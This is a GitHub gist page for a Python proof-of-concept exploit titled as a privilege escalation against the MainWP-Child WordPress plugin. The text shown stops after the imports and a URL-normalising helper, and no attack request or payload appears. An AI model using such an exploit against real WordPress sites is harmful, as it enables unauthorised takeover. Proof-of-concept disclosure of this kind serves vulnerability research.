Skip to content

Instantly share code, notes, and snippets.

View awnumar's full-sized avatar
🐘
I may be slow to respond.

Awn awnumar

🐘
I may be slow to respond.
View GitHub Profile
@awnumar
awnumar / mainwp-pe-exploit.py
Last active May 16, 2017 18:29
MainWP-Child Privilege Escalation POC Exploit
#!/usr/bin/python2
import requests
def fix_host(host):
if ((not host.startswith("http://")) and (not host.startswith("https://"))):
host = "http://" + host
if (host.endswith("/")):
host = host[:-1]
return host